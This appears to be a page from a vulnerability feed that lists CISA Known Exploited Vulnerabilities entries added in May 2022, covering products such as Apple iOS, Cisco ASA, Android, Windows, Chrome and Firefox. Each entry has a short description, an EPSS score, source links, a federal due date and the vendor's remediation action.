CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-4655
Apple iOS Information Disclosure Vulnerability (May 24, 2022).
The Apple iOS kernel allows attackers to obtain sensitive information from memory via a crafted application.
EPSS 33.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4655&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-4656
Apple iOS Memory Corruption Vulnerability (May 24, 2022).
A memory corruption vulnerability in Apple iOS kernel allows attackers to execute code in a privileged context or cause a denial-of-service (DoS) via a crafted application.
EPSS 23.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4656: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4656&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS Webkit Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2016-4657
Apple iOS Webkit Memory Corruption Vulnerability (May 24, 2022).
Apple iOS WebKit contains a memory corruption vulnerability that allows attackers to execute remote code or cause a denial-of-service (DoS) via a crafted web site. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 66.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4657: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4657&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Adaptive Security Appliance (ASA) SNMP Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2016-6366
Cisco Adaptive Security Appliance (ASA) SNMP Buffer Overflow Vulnerability (May 24, 2022).
A buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) code of Cisco ASA software could allow an attacker to cause a reload of the affected system or to remotely execute code.
EPSS 87.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-6366: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6366&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Adaptive Security Appliance (ASA) CLI Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-6367
Cisco Adaptive Security Appliance (ASA) CLI Remote Code Execution Vulnerability (May 24, 2022).
A vulnerability in the command-line interface (CLI) parser of Cisco ASA software could allow an authenticated, local attacker to create a denial-of-service (DoS) condition or potentially execute code.
EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-6367: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6367&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Messaging API Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-3298
Microsoft Internet Explorer Messaging API Information Disclosure Vulnerability (May 24, 2022).
An information disclosure vulnerability exists when the Microsoft Internet Messaging API improperly handles objects in memory. An attacker who successfully exploited this vulnerability could allow the attacker to test for the presence of files on disk.
EPSS 33.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3298&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS XR Open Port Vulnerability
https://kevwire.com/record/CVE-2022-20821
Cisco IOS XR Open Port Vulnerability (May 23, 2022).
Cisco IOS XR software health check opens TCP port 6379 by default on activation. An attacker can connect to the Redis instance on the open port and allow access to the Redis instance that is running within the NOSi container.
EPSS 11.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20821: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Kernel Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-1048
Android Kernel Use-After-Free Vulnerability (May 23, 2022).
Android kernel contains a use-after-free vulnerability that allows for privilege escalation.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1048: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1048&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Kernel Race Condition Vulnerability
https://kevwire.com/record/CVE-2021-0920
Android Kernel Race Condition Vulnerability (May 23, 2022).
Android kernel contains a race condition, which allows for a use-after-free vulnerability. Exploitation can allow for privilege escalation.
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-0920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-0920&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-30883
Apple Multiple Products Memory Corruption Vulnerability (May 23, 2022).
Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for remote code execution.
EPSS 14.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-30883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30883&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-1027
Microsoft Windows Kernel Privilege Escalation Vulnerability (May 23, 2022).
An elevation of privilege vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1027: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1027&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Update Notification Manager Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-0638
Microsoft Update Notification Manager Privilege Escalation Vulnerability (May 23, 2022).
Microsoft Update Notification Manager contains an unspecified vulnerability that allows for privilege escalation.
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0638: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0638&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2019-7286
Apple Multiple Products Memory Corruption Vulnerability (May 23, 2022).
Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for privilege escalation.
EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7286: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7286&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2019-7287
Apple iOS Memory Corruption Vulnerability (May 23, 2022).
Apple iOS contains a memory corruption vulnerability which could allow an attacker to perform remote code execution.
EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-7287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-7287&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2019-0676
Microsoft Internet Explorer Information Disclosure Vulnerability (May 23, 2022).
An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited this vulnerability could test for the presence of files on disk.
EPSS 8.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0676: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome Blink Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2019-5786
Google Chrome Blink Use-After-Free Vulnerability (May 23, 2022).
Google Chrome Blink contains a heap use-after-free vulnerability that allows an attacker to potentially perform out of bounds memory access via a crafted HTML page.
EPSS 61.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-5786: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5786&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SMB Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2019-0703
Microsoft Windows SMB Information Disclosure Vulnerability (May 23, 2022).
An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests, which could lead to information disclosure from the server.
EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-0880
Microsoft Windows Privilege Escalation Vulnerability (May 23, 2022).
A local elevation of privilege vulnerability exists in how splwow64.exe handles certain calls. An attacker who successfully exploited the vulnerability could elevate privileges on an affected system from low-integrity to medium-integrity.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chrome WebAudio Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2019-13720
Google Chrome WebAudio Use-After-Free Vulnerability (May 23, 2022).
Google Chrome WebAudio contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.
EPSS 49.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-13720: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-13720&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox and Thunderbird Type Confusion Vulnerability
https://kevwire.com/record/CVE-2019-11707
Mozilla Firefox and Thunderbird Type Confusion Vulnerability (May 23, 2022).
Mozilla Firefox and Thunderbird contain a type confusion vulnerability that can occur when manipulating JavaScript objects due to issues in Array.pop, allowing for an exploitable crash.
EPSS 37.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11707: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11707&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability
https://kevwire.com/record/CVE-2019-11708
Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability (May 23, 2022).
Mozilla Firefox and Thunderbird contain a sandbox escape vulnerability that could result in remote code execution.
EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11708&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WebKitGTK Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2019-8720
WebKitGTK Memory Corruption Vulnerability (May 23, 2022).
WebKitGTK contains a memory corruption vulnerability which can allow an attacker to perform remote code execution.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-8720: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8720&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WhatsApp Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2019-18426
WhatsApp Cross-Site Scripting Vulnerability (May 23, 2022).
A vulnerability in WhatsApp Desktop when paired with WhatsApp for iPhone allows cross-site scripting and local file reading.
EPSS 67.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-18426: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-18426&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Extensions Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1385
Microsoft Windows AppX Deployment Extensions Privilege Escalation Vulnerability (May 23, 2022).
A privilege escalation vulnerability exists when the Windows AppX Deployment Extensions improperly performs privilege management, resulting in access to system files.
EPSS 3.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1385: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1385&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows AppX Deployment Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2019-1130
Microsoft Windows AppX Deployment Service Privilege Escalation Vulnerability (May 23, 2022).
A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1130: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1130&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-5002
Adobe Flash Player Stack-based Buffer Overflow Vulnerability (May 23, 2022).
Adobe Flash Player have a stack-based buffer overflow vulnerability that could lead to remote code execution.
EPSS 25.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-5002: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8589
Microsoft Win32k Privilege Escalation Vulnerability (May 23, 2022).
A privilege escalation vulnerability exists when Windows improperly handles calls to Win32k.sys. An attacker who successfully exploited this vulnerability could run remote code in the security context of the local system.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8589: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25
CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2022; federal due date Jun 13, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

